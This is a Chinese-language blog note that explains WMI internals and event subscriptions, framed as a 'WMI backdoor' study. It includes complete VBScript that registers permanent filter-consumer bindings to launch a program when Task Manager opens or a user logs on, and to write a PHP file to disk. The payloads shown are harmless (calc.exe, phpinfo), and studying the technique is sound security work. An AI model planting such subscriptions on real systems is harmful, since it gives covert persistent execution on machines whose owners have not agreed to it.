关于wmi的东西,有很多文章参考,这里给自己做一个笔记。

WMI后门

wmi基本逻辑结构

wmi的逻辑结构是这样的:

首先是wmi使用者,比如脚本或者其他用到wmi接口的应用程序。由wmi使用者访问CIM对象管理器WinMgmt(即WMI服务),后者再访问CIM(公共信息模型Common Information Model)存储库。

静态或动态的信息(对象的属性)就保存在CIM库中,同时保存对象的方法。比如启动一个服务,通过执行对象的方法实现,实际上是通过COM技术调用各种dll,最后由dll中封装的API完成请求。WMI是事件驱动的,操作系统、服务、应用程序、设备驱动程序等都可以作为事件源,通过COM接口生成事件通知,WinMgmt捕捉到事件,然后刷新CIM库中的动态信息。这也是为什么WMI服务依赖于EventLog的原因。就像注册表有根键一样,CIM库也有分类,用面向对象的术语描述来来说,叫做命名空间(Name Space)

可以调用wmi的方式或者语言:

* wmic.exe

* winrm.exe

* winrs.exe

* powershell

* windows scripting host(WSH)

* VBScript

* JScript

* mof

* C/C++ via IWbem* COM API

* .NET System.Management classes

如下例子:vbs脚本操作wmi对象的时候,有两种方法winmgmts:\\和WbemScripting.SWBemlocator

not only throuth an SWbemLocator object, but also through the moniker "winmgmts:". A moniker is a short name that locate a namespace、class or instance in WMI. The name "winmgmts:" is the WMI moniker that tell the Windows Script Host to use the WMI objects, connects to the default namespace, and obtains an SWbemServices object.

不过这两者是有异同的,SWbemlocator可以做到WMI moniker不能做到的两个功能(SWbemlocator is designed to address two specific scripting scenarios that cannot be performed using GetObject and the WMI moniker, You must use SWbemLocator if you need to):

provide user and password credentials to connect to WMI on a remote computer. The WMI moniker used with the GetObject function does not include a mechanism for specifying credentials.

Connect to WMI if you are runing a WMI script from within a Web page.

创建对象并连接服务器:

set objlocator=createobject("wbemscripting.swbemlocator")

set objswbemservices=objlocator.connectserver(ipaddress,"root\default",username,password)

访问WMI还有一个特权的额问题。

objswbemservices.security_.privileges.add 23,true

objswbemservices.security_.privileges.add 18,true

这是在向WMI服务申请权限,18和23都是权限代号,以下是重要的代号:

5 在域中创建账号

7 管理审计并查看、保存和清理安全日志

9 加载和卸载设备驱动

10 记录系统时间

11 改变系统时间

18 在本地关机

22 绕过历遍检查

23 允许远程关机

举个例子

运行如下脚本可以获得所有权限ID及对应说明

strComputer = "."

set objWMIService = GetObject("winmgmts:\\" _

& strComputer & "\root\cimv2")

set colPrivileges = objWMIService.Security_.Privileges

for I = 1 to 27

colPrivileges.Add(I)

Next

' Display information about each privilege

For Each objItem In colPrivileges

wscript.echo objItem.Identifier & vbtab & objItem.Name _

& vbtab & objItem.Displayname _

& vbtab & "Enabled = " & objItem.IsEnabled

Next

strComputer="."

set objService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")

'set objWmi = CreateObject("WbemScripting.SWBemLocator")

'set objService = objWmi.ConnectServer(strComputer, "root\cimv2")

set objSet = objService.InstancesOf("Win32_Process")

for each obj in objSet

Wscript.Echo "Name: " & obj.Name

Next

基于事件驱动运行

wmi是事件驱动,整个事件处理机制分4个部分:

1、事件生产者(provider),负责生产事件。WMI包含大量事件生产者。

2、事件过滤器(fileter),系统每时每刻有大量的事件,通过自定义过滤器,脚本可以捕获感兴趣的事件进行处理。

3、事件消费者(consumer):负责处理事件,他是由可执行程序,动态链接库(dll,由wmi服务加载)或者脚本

4、事件绑定(binding):通过将过滤器和消费者绑定,明确什么事件由什么消费者负责处理

事件消费者可以分为临时和永久两类,临时的事件消费者只在其运行期间关心特定事件并处理,永久消费者作为类的实例注册在WMI命名空间中,一直有效到它被注销。

EvenetFilter

1: Data queries

select * from Win32_NTlogEvent where logfile = 'application'

辣么,上面这个语句是否可以修改下,类似远程控制iptables的方式,当检测到logfile里面存在特定字符,触发事件

2: Evenet queries

select * from __InstanceModificationEvent WITHIN 10 where TargetInstance ISA 'Win32_Service' AND TargetInstance._Class = 'win32_TerminalService'

3: Schema queries

select * from meta_class where __this ISA "Win32_BaseService"

Consumer

可以理解为满足条件之后执行的操作,包括如下查询:

(1)ActiveScriptEventConsumer

(2) LogFileEventConsumer

(3) NTEventLogEventConsumer

(4) SMTPEventConsumer

(5) CommandLineEventConsumer

wmi需要两个可以执行,Eventfilter和consumer。

EventFilter

select * from __InstanceModificationEvent where TargetInstance Isa "Win32_localTime" And TargetInstance.Second = 1

select * from __InstanceModificationEvent WITHIN 10 where TargetInstance ISA 'Win32_Service' AND TargetInstance._Class = 'win32_TerminalService'

select * from _InstanceModificationEvent within 5 where Targetinstance ISA 'Win32_service' AND

TargetInstance.name = 'spooler' and Targetinstatnce.state='stopped'

WMI提供了三个类别的WQL查询:

实例查询 --用于查询WMI类的实例

select from where <>

事件查询 --用于一个WMI事件注册机制,如WMI对象的创建,修改或删除

交互式用户登录的事件查询:

SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA 'Win32_LogonSession' AND TargetInstance.LogonType = 2

元查询 --用于查询WMI类架构

select * from Meta_classes where __class like "win32%"

例子:

每10s查询一次事件修改,记录

strComputer = "."

Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")

Set colMonitorProcess = objWMIService.ExecNotificationQuery _

("SELECT * FROM __instancemodificationevent WITHIN 10" & _

"WHERE TargetInstance ISA 'Win32_Service'")

WScript.Echo "Waiting for process change event ..."

Set objLatestEvent = colMonitorProcess.NextEvent

WScript.Echo VbCrLf & objLatestEvent.Path_.Class

Wscript.Echo "Process Name: " & objLatestEvent.TargetInstance.Name

Wscript.Echo "Process ID: " & objLatestEvent.TargetInstance.ProcessId

Wscript.Echo "Process State:" & objLatestEvent.TargetInstance.state

WScript.Echo "Time: " & Now

vbs举个例子

脚本稍微修改了下,大概功能就是打开任务管理器的时候,5s之内会打开calc.exe,这个动作可以在process explorer里面监测到。

脚本稍微不同的地方是:

__EventFilter的时候,要制定命名空间为root\cimv2,整个脚本是注册在root\subscription里面的。

一句话:

以root\cimv2空间的事件为驱动,使用root\subscription空间里面的CommandLineEventConsumer来运行程序。

nslink="winmgmts:\\.\root\cimv2:" '只需要本地连接,所以用这种语法,不用swbemlocator对象'

nslink2="winmgmts:\\.\root\subscription:"

set asec=getobject(nslink2&"CommandLineEventConsumer").spawninstance_ '创建“活动脚本事件消费者”'

asec.name="stopped_spooler_restart_consumer" '定义消费者的名字'

'asec.scriptingengine="vbscript" '定义脚本语言(只能是vbscript)'

asec.CommandLineTemplate="C:\windows\system32\calc.exe" '脚本代码'

asec.ExecutablePath="C:\windows\system32\calc.exe"

set asecpath=asec.put_ '注册消费者,返回其链接'

set evtflt=getobject(nslink2&"__EventFilter").spawninstance_ '创建事件过滤器'

evtflt.name="stopped_spooler_filter"

evtflt.EventNameSpace="root\cimv2" '定义过滤器的名字'

qstr="select * from __InstanceCreationEvent within 5 " '每5秒查询一次“实例修改事件”'

qstr=qstr&"where targetinstance isa 'win32_process' and " '目标实例的类是win32_process'

qstr=qstr&"targetinstance.name='taskmgr.exe' " '实例名是taskmgr.exe'

evtflt.query=qstr '定义查询语句'

evtflt.querylanguage="wql" '定义查询语言(只能是wql)'

set fltpath=evtflt.put_ '注册过滤器,返回其链接'

set fcbnd=getobject(nslink2&"__FilterToConsumerBinding").spawninstance_ '创建过滤器和消费者的绑定'

fcbnd.consumer=asecpath.path '指定消费者'

fcbnd.filter=fltpath.path '指定过滤器'

fcbnd.put_ '执行绑定'

wscript.echo "success"

上面提到过有5种消费者,然后这次以LogFileEventConsumer来测试,打开任务管理器之后,在C盘根目录下生成1.php,内容是<?php phpinfo();?>:

nslink="winmgmts:\\.\root\cimv2:" '只需要本地连接,所以用这种语法,不用swbemlocator对象'

nslink2="winmgmts:\\.\root\subscription:"

set asec=getobject(nslink2&"LogFileEventConsumer").spawninstance_ '创建“活动脚本事件消费者”'

asec.name="stopped_spooler_restart_consumer" '定义消费者的名字'

'asec.scriptingengine="vbscript" '定义脚本语言(只能是vbscript)'

'asec.CommandLineTemplate="C:\windows\system32\calc.exe" '脚本代码'

'asec.ExecutablePath="C:\windows\system32\calc.exe"

asec.Filename="C:\1.php"

asec.Text="<?php phpinfo();?>"

set asecpath=asec.put_ '注册消费者,返回其链接'

set evtflt=getobject(nslink2&"__EventFilter").spawninstance_ '创建事件过滤器'

evtflt.name="stopped_spooler_filter"

evtflt.EventNameSpace="root\cimv2" '定义过滤器的名字'

qstr="select * from __InstanceCreationEvent within 5 " '每5秒查询一次“实例修改事件”'

qstr=qstr&"where targetinstance isa 'win32_process' and " '目标实例的类是win32_service'

qstr=qstr&"targetinstance.name='taskmgr.exe' " '实例名是spooler'

evtflt.query=qstr '定义查询语句'

evtflt.querylanguage="wql" '定义查询语言(只能是wql)'

set fltpath=evtflt.put_ '注册过滤器,返回其链接'

set fcbnd=getobject(nslink2&"__FilterToConsumerBinding").spawninstance_ '创建过滤器和消费者的绑定'

fcbnd.consumer=asecpath.path '指定消费者'

fcbnd.filter=fltpath.path '指定过滤器'

fcbnd.put_ '执行绑定'

wscript.echo "success"

wmi监听用户登录和注销事件:

2003系统上,一个用户登陆的时候,日志记录ID是680,注销断开的时候ID是551,所以当一个用户登陆的时候,wmi监测登陆id,如果登陆成功,打开calc.exe:

nslink="winmgmts:\\.\root\cimv2:" '只需要本地连接,所以用这种语法,不用swbemlocator对象'

nslink2="winmgmts:\\.\root\subscription:"

set asec=getobject(nslink2&"CommandLineEventConsumer").spawninstance_ '创建“活动脚本事件消费者”'

asec.name="stopped_spooler_restart_consumer" '定义消费者的名字'

'asec.scriptingengine="vbscript" '定义脚本语言(只能是vbscript)'

asec.CommandLineTemplate="C:\windows\system32\calc.exe" '脚本代码'

set asecpath=asec.put_ '注册消费者,返回其链接'

set evtflt=getobject(nslink2&"__EventFilter").spawninstance_ '创建事件过滤器'

evtflt.name="stopped_spooler_filter"

evtflt.EventNameSpace="root\cimv2" '定义过滤器的名字'

qstr="select * from __InstanceCreationEvent within 5 " '每5秒查询一次“实例修改事件”'

qstr=qstr&"where targetinstance isa 'win32_NTLogEvent' and " qstr=qstr&"targetinstance.EventCode='680' " '实例名是win32_NTLogEvent'

evtflt.query=qstr '定义查询语句'

evtflt.querylanguage="wql" '定义查询语言(只能是wql)'

set fltpath=evtflt.put_ '注册过滤器,返回其链接'

set fcbnd=getobject(nslink2&"__FilterToConsumerBinding").spawninstance_ '创建过滤器和消费者的绑定'

fcbnd.consumer=asecpath.path '指定消费者'

fcbnd.filter=fltpath.path '指定过滤器'

fcbnd.put_ '执行绑定'

wscript.echo "success"

php wmi,wmi与vbs相关推荐

  1. WMI问题全解(Windows管理规范)

    问题 1:WMI 是什么,它能帮我做什么? 问题 2: WMI 适用于那些平台? 问题 3:如果 WMI 向外界暴露特定的功能,我如何才能知道? 问题 4:如果 WMI 没有提供我想要的功能,我应该怎 ...

  2. 【内网学习笔记】22、PsExec 和 WMI 的使用

    1.PsExec PsExec.exe PsExec 在之前的文章里提到过一次,参见https://teamssix.com/210802-181052.html,今天来着重学习一下. PsExec ...

  3. python利用WMI监控windows状态如CPU、内存、硬盘

    安装pywin32库 下载地址: https://sourceforge.net/projects/pywin32/files%2Fpywin32/ 选择对应python版本的文件. 下载后在wind ...

  4. c#与WMI使用技巧集

    1. 什么是WMI  WMI是英文Windows Management Instrumentation的简写,它的功能主要是:访问本地主机的一些信息和服务,可以管理远程计算机(当然你必须要拥有足够的权 ...

  5. Atitit.获取主板与bios序列号获取硬件设备信息  Wmi wmic 的作用

    Atitit.获取主板与bios序列号获取硬件设备信息  Wmi wmic 的作用 1 获取硬件核心基础核心基础Wmi1 2 其他资料2 3 Wmic WMI 命令行接口2 4 Atitit.获取主板 ...

  6. python用WMI等获取及修改windows系统信息

    通过查找相关资料,总结了一下python用WMI等获取windows系统信息以及修改系统的相关配置,代码如下(附件中有本代码附件): #-*- coding:utf-8 -*- import time ...

  7. python wmi_python wmi模块学习

    # -*- coding: cp936 -*- import wmi c = wmi.WMI () for sys in c.Win32_OperatingSystem(): print " ...

  8. python wmi antivirusproduct_Python中的WMI查询问题

    我最近一直在研究一个压扁测试脚本,并尝试做一些类似于解决方案中描述的内容: Total memory used by Python process? 我的代码片段如下:def measureMemor ...

  9. wmi接口如何通过Win32_Volume类修改盘符

    想要通过wmi接口修改windows盘符,该如何实现呢?wmi提供了Win32_Volume类,通过该类可以修改盘符. python脚本 import wmi _root_conn = wmi.WMI ...

最新文章

  1. oracle notes,Oracle Notes
  2. Insertion Sort List(单链表插入排序)
  3. java接口开发 全局异常,全局异常处理
  4. vue怎么使用php调取数据,vue 数据操作
  5. 高效的JavaScript.
  6. python五子棋代码tkinter_python使用tkinter开发一款五子棋游戏
  7. 【报告分享】2020年中过短视频+教育发展展望.pdf(附教育行业交流社群及报告下载链接)...
  8. 《并行计算的编程模型》一3.1 引言
  9. [转载] Numpy之logspace
  10. 字符串_KMP算法(求next[]模板 hdu 1711)
  11. sysctl.conf 参数相关注解
  12. [环境搭建]-Web Api搭建到IIS服务器后PUT请求返回HTTP Error 405.0 - Method Not Allowed 解决方法
  13. 如何选择嵌入式练手项目、嵌入式开源项目大全,嵌入式产品举例
  14. 接入交换机下pc获取不了ip问题处理
  15. 研究调查脉搏血氧饱和度仪使用Masimo RRp(R)读取儿科患者呼吸率的精度
  16. Android面试之百题经典Android答案——cookie,session,JNI,AIDL,Binder,ClassLoader,AMS,WMS,PWS,热更新,插件化,Hook,dex
  17. 咨询案例:再来几种利益相关人地图
  18. 计算机方向kade期刊,计算机辅助导航技术在上颌骨肿瘤切除及缺损重建中的应用...
  19. Linux 基金会成立小组支持边缘网络开发;浙江绍兴用 AI 监控厨房
  20. 防火门监控系统在智能建筑消防的重要性及应用介绍

热门文章

  1. mysql view 子查询_mysql – View的SELECT包含FROM子句中的子查询
  2. bucket sort sample sort 并行_Java 中 Arrays.sort 和 Arrays.parallelSort 哪个更快?
  3. fluent 命令流_FLUENT混合流体中颗粒运动模拟
  4. php 字符串中文截取,PHP 截取中文字符串(支持多种编码)
  5. 两组回归系数差异检验_调节效应检验中的回归系数差异检验
  6. python大型项目开发规范_大型项目CMakeLIsts.txt的编写规范
  7. l380废墨收集垫已到使用寿命_湖北土工网垫
  8. pythonfor循环是迭代器吗_[Python] 迭代器是什么?你每天在用的for循环都依赖它!...
  9. 数据 正则化 python_Python数据科学:正则化方法
  10. 社工大师_社工,与弱势者同行 | TED演讲